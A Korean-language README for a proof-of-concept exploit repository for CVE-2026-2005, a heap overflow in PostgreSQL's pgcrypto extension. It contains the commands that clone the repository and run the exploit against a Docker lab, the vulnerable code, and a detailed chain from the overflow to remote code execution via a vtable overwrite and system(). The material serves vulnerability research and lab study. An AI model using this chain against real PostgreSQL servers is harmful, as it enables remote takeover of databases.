
# CVE-2026-2005 익스플로잇 PostgreSQL의 pgcrypto 확장에서 발생하는 힙 오버플로우로 원격 코드 실행으로 이어지는 취약점에 대한 익스플로잇입니다. PoC 생성기, Docker 랩, 상세 기술 문서를 포함합니다.
| CVE | CVE-2026-2005 |
| 구성 요소 | contrib/pgcrypto/pgp-pubdec.c |
| CWE | CWE-122 (힙 기반 버퍼 오버플로) |
| CVSSv3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| 영향 범위 | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| 수정 버전 | 14.21, 15.16, 16.12, 17.8, 18.2 |
| 공개일 | 2026-02-12 |
| 수정 커밋 | 379695d3cc70d040b547d912ce4842090d917ece |



git clone https://github.com/dinosn/cve-2026-2005.git
cd cve-2026-2005/lab
docker compose up -d pg-exploit
# postgres 초기화를 위해 약 5초 대기
python3 ../poc/exploit.py --run cve-2026-2005-pg-exploit

// contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey()
ctx->cipher_algo = *msg;
ctx->sess_key_len = msglen - 3; // 공격자 제어 가능
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len); // sess_key는 uint8[32]
ctx->sess_key는 힙에 할당된 PGP_Context 구조체에 포함된 고정 32바이트 버퍼입니다. 과도하게 큰 RSA 암호화 세션 키가 포함된 조작된 PGP 메시지는 sess_key_len을 약 200바이트까지 증가시켜 인접한 힙 할당 영역을 오버플로합니다. 수정 버전은 sess_key_len > PGP_MAX_KEY 경계 검사를 추가합니다.
sess_key[32]를 넘어 148바이트 오버플로로 인접한 MBuf 할당에 가짜 할당자 메타데이터를 기록MBuf->data = NULL로 설정하여 정리 중 explicit_bzero가 건너뛰어지도록 함hdrmask가 blockoffset=64로 디코딩되어 블록 포인터를 공격자 제어 데이터로 리디렉션AllocSetFree가 청크 주소를 MC+16(MemoryContext->methods 필드)에 기록하여 vtable 포인터를 교체MemoryContextDelete(MC)가 가짜 vtable을 통해 methods->delete_context(MC)를 호출 → system(MC)system()이 MemoryContext 구조체를 문자열로 읽음: NodeTag 0x1D5 = "\xd5\x01\x00\x00" → /usr/local/bin/\xd5\x01 실행pgcrypto 확장 설치 (CREATE EXTENSION pgcrypto)/usr/local/bin/\xd5\x01에 사전 배치된 트리거 스크립트 (Dockerfile.exploit에 포함)├── README.md
├── poc/
│ ├── exploit.py # 자체 포함 악용 생성기 + 실행기
│ ├── gen_exploit_v7.py # 주석이 포함된 페이로드 빌더
│ ├── gen_payload.py # 충돌 전용 PoC 생성기 (모든 오버플로 크기)
│ ├── poc_big.sql # 사전 생성된 충돌 PoC (SIGSEGV)
│ └── poc_minimal.sql # 최소 4바이트 오버플로 PoC
├── lab/
│ ├── docker-compose.yml # 전체 랩: 취약, 패치, 디버그, 악용
│ ├── Dockerfile.exploit # 릴리스 빌드 + 트리거 스크립트 (RCE 대상)
│ ├── Dockerfile.vuln # 기본 취약 빌드 (충돌 데모)
│ ├── Dockerfile.debug # Cassert 빌드 (어서션 데모)
│ ├── init.sql # 데이터베이스 초기화
│ └── setup.sh # 랩 설정 도우미
├── reports/
│ ├── RCE-CHAIN.md # 상세 기술 악용 분석 문서
│ ├── REPORT.md # 취약점 분석 보고서
│ └── TODO-FOR-RCE.md # 개발 로그 (완료)
├── screenshots/
│ ├── 01-target-verification.png
│ ├── 02-exploit-fire.png
│ ├── 03-rce-proof.png
│ └── 04-full-run.png
└── src/ # 관련 소스 스니펫
| 컨테이너 | 포트 | 용도 |
|---|---|---|
pg-exploit | 5436 | RCE 대상 (기본 17.7 + 트리거 스크립트) |
pg-vuln | 5433 | 충돌 데모 (기본 17.7, SIGSEGV) |
pg-fixed | 5434 | 패치 빌드 (17.8, 페이로드 거부) |
pg-debug | 5435 | 디버그 빌드 (소스 위치 포함 cassert SIGABRT) |
# 모든 컨테이너 시작
cd lab && docker compose up -d
# 충돌 데모 (기본 빌드에서 SIGSEGV)
docker exec cve-2026-2005-pg-vuln psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-vuln 2>&1 | grep "signal 11"
# 패치 빌드 (정상적으로 거부)
docker exec cve-2026-2005-pg-fixed psql -U postgres -d lab -f /tmp/poc_big.sql
# ERROR: Public key too big
# 디버그 빌드 (파일:줄 번호 포함 어서션)
docker exec cve-2026-2005-pg-debug psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-debug 2>&1 | grep "TRAP"
postgres:17.7-bookworm Docker 이미지에 특화된 하드코딩된 힙 주소를 사용합니다. 다른 빌드/환경에서는 주소 재보정(GDB 또는 정보 유출을 통해)이 필요합니다.SELECT digest('x','md5'))이 악용 쿼리 전에 힙 레이아웃을 안정화합니다.\xd5\x01이라는 이름의 바이너리가 필요합니다. Dockerfile이 이를 사전 설치합니다. 실제 환경 악용에는 사전 쓰기 권한 또는 다른 ROP/원-가젯 접근 방식이 필요합니다.--enable-cassert가 포함된 디버그 빌드는 프리리스트 쓰기 전에 어서션으로 중단됩니다.379695d)이 악용 코드는 승인된 보안 연구 및 교육 목적으로만 제공됩니다. 명시적 승인이 있는 통제된 랩 환경에서만 사용하십시오.